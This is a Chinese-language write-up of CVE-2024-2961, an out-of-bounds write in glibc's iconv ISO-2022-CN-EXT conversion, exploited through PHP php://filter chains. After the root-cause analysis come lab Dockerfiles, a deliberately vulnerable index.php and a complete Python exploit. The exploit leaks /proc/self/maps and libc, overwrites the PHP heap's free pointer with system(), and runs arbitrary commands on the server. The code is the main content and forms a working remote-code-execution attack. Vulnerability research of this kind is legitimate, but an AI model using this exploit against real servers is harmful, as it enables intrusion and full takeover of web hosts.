# CVE-2024-2961 分析報告
## Overview
CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。
由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。
## Affected Versions
- glibc iconv:支援 ISO-2022-CN-EXT 的版本
- PHP:多數版本(含 PHP 7.x, 8.x)
- 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件:
- 有 file_get_contents($_GET['file']) 類似行為
- 可以透過 php://filter 執行 filter-chain
## Root Cause Analysis
### ISO-2022-CN-EXT 漏洞
- 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換
- 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集
- 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查
[source code](https://github.com/bminor/glibc/blob/59974938fe1f4add843f5325f78e2a7ccd8db853/iconvdata/iso-2022-cn-ext.c#L550)
可以發現只有一條路徑有做 overflow 的 check
```c=
// iconvdata/iso-2022-cn-ext.c
/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;
if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}
assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;
// <-------------------- NO BOUND CHECK
assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
}
```
- 使得當 output buffer 不足,仍可能寫入 escape sequence 而造成 1~3 bytes 的 OOB Write。可觸發的字符包含:
- `劄`(U+5284)
- `䂚`(U+409A)
- `峛`(U+5CDB)
- `湿`(U+6E7F)
### 限制
- 只能 overflow 1~3 bytes
- 要呼叫到 iconv
- 要控得到 ISO-2022-CN-EXT 的 input、output buffer
## Exploitation Path
### 使用 `php://filter` 觸發 iconv
攻擊者可透過以下 filter chain 構造觸發 iconv:
```php=
php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=...
```
### 配合 PHP Heap Layout 操作
PHP Heap 結構特性:
- PHP 內建 memory manager 使用 `emalloc/efree` 配合 `zend_mm_heap`
- 分配區域為固定 page(0x1000),依照 bin size(如 0x40、0x180)維護對應 freelist
- 每個 bin 為 LIFO(後釋放的 chunk 先被回收)
- 未使用 chunk 會記錄下一塊 chunk 的指標於 chunk header(可作為 attack vector)
- 問題在於每個 HTTP request 都會建立獨立 heap,通常難以維持 exploit 狀態
Exploitation 方式:
- 將資料放入 `php_stream_bucket`,構造特定大小的 heap chunk
- `dechunk` filter 可將 buflen 調整至小於 heap size(縮減)
- 接著透過 `iconv.UTF-8.ISO-2022-CN-EXT` 實現 OOB write,蓋掉 next chunk pointer
- 最終達成對 `zend_mm_heap->custom_heap` 中 `_free` function pointer 的覆寫(類似 `__free_hook`)
## PoC
### 環境建置
Dockerfile
```yaml=
FROM ubuntu:22.04
ENV TZ=Asia/Taipei
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
RUN apt update && \
DEBIAN_FRONTEND=noninteractive apt install -y --allow-downgrades \
tzdata software-properties-common \
vim gcc g++ make \
ncat gdb wget curl \
nginx php php-cli php-fpm php-mbstring php-xml php-zip php-dev php-common php-cgi \
apt-src dpkg-dev \
libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 \
php-pear php-json php8.1 php8.1-dev php8.1-cli php8.1-fpm php8.1-mbstring php8.1-xml php8.1-zip php8.1-cgi
COPY index.php /var/www/html/index.php
COPY poc.c /var/www/html/poc.c
COPY exp.py /var/www/html/exp.py
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh
WORKDIR /var/www/html
CMD ["/start.sh"]
```
docker-compose.yml
```yaml=
version: '3.8'
services:
cve2961:
build:
context: .
dockerfile: Dockerfile
image: cve-2024-2961:v2
container_name: cve-2024-2961-container
ports:
- "80:80"
stdin_open: true
tty: true
```
先透過以下 script 驗證是否會 overflow
```c=
#include <stdio.h>
#include <string.h>
#include <iconv.h>
void hexdump(void *ptr, int buflen){
unsigned char *buf = (unsigned char*)ptr;
int i;
for (i = 0; i < buflen; i++) {
if (i % 16 == 0)
printf("\n%06x: ", i);
printf("%02x ", buf[i]);
}
printf("\n");
}
int main(){
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
hexdump(output, 0x10);
return 0;
}
```

可以發現確實 overflow 了一個 byte
後續的 exploit 使用直接建置 php 網頁的方式去做攻擊
Dockerfile
```yaml=
FROM php:8.2.0-apache
RUN apt-get update && apt-get install -y \
locales \
wget \
gcc \
g++ \
build-essential \
vim \
&& rm -rf /var/lib/apt/lists/*
RUN echo "zh_TW.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
RUN docker-php-ext-install iconv
WORKDIR /var/www/html
COPY index.php .
EXPOSE 80
```
docker-compose.yml
```yaml=
version: '3.8'
services:
web:
build: .
ports:
- "8080:80"
container_name: cve-2024-2961-custom
restart: unless-stopped
```
index.php
```php=
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
exploit.py:參考自 [cnext-exploits](https://github.com/ambionics/cnext-exploits)
```py=
from __future__ import annotations
import base64, zlib, sys, re
from pathlib import Path
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
heap_size = 2 * 1024 * 1024
vulnerability = "劄".encode("utf-8")
session = Session()
url = ""
command = ""
heap = None
pad_size = 20
info = {}
def send(path, url):
return session.post(url, data={"file": path})
def download(path, url):
path = f"php://filter/convert.base64-encode/resource={path}"
response = send(path, url)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
def compress(data):
return zlib.compress(data, 9)[2:-4]
def b64(data, misalign = True):
return base64.encode(data).encode()
def compressed_bucket(data):
return chunked_chunk(data, 0x8000)
def qpe(data):
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size = None):
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data, size = None):
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
def download_file(remote_path, local_path):
data = get_file(remote_path)
Path(local_path).write_bytes(data)
def _get_region(regions, *names):
for region in regions:
if any(name in region["path"] for name in names):
return region
return None
def find_main_heap(regions):
heaps = []
for region in reversed(regions):
is_heap_region = (
region["permissions"] == "rw-p" and
(region["stop"] - region["start"]) >= heap_size and
region["stop"] & (heap_size - 1) == 0 and
region["path"] in ("", "[anon:zend_alloc]")
)
if is_heap_region:
heap_address = region["stop"] - heap_size + 0x40
heaps.append(heap_address)
first = heaps[0]
print(f"Using {hex(first)} as heap")
return first
def get_file(path):
return download(path, url)
def get_regions():
maps = get_file("/proc/self/maps").decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
)
regions = []
for line in table.split(maps, strip=True):
if match := PATTERN.match(line):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4).rsplit(" ", 1)[-1] if "/" in match.group(4) or "[" in match.group(4) else ""
regions.append({
"start": start,
"stop": stop,
"permissions": permissions,
"path": path
})
return regions
def get_symbols_and_addresses():
regions = get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
info["heap"] = heap or find_main_heap(regions)
libc = _get_region(regions, "libc-", "libc.so")
download_file(libc["path"], LIBC_FILE)
info["libc"] = ELF(LIBC_FILE, checksec=False)
info["libc"].address = libc["start"]
def build_exploit_path():
LIBC = info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
pad = b"\x00" * (CS - 0x18)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1 = b"\x00" * 1
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
step2 = b"\x00" * (0x48 + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(0x48, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3 = b"\x00" * CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (CS - len(vulnerability)) + vulnerability
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4 = b"=00" + b"\x00" * (CS - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
step4_pwn = ptr_bucket(
0x200000, 0, 0, 0,
ADDR_CUSTOM_HEAP,
*([0] * 13),
ADDR_HEAP,
*([0] * 11),
size=CS,
)
step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)
COMMAND = f"kill -9 $PPID; {command}".encode() + b"\x00"
COMMAND = COMMAND.ljust(0x140, b"\x00")
step4_use_custom_heap = qpe(COMMAND)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap +
step3_overflow + pad * pad_size + step1 * 3 + step2_write_ptr + step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
"zlib.inflate", "zlib.inflate", "dechunk",
"convert.iconv.L1.L1", "dechunk",
"convert.iconv.L1.L1", "dechunk",
"convert.iconv.L1.L1", "dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
"convert.quoted-printable-decode", "convert.iconv.L1.L1"
]
return f"php://filter/read={'|'.join(filters)}/resource={resource}"
def exploit():
path = build_exploit_path()
try:
send(path, url)
except (ConnectionError, ChunkedEncodingError):
pass
def run():
get_symbols_and_addresses()
exploit()
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python test_copy.py <url> <command>")
sys.exit(1)
url = sys.argv[1]
command = sys.argv[2]
run()
```
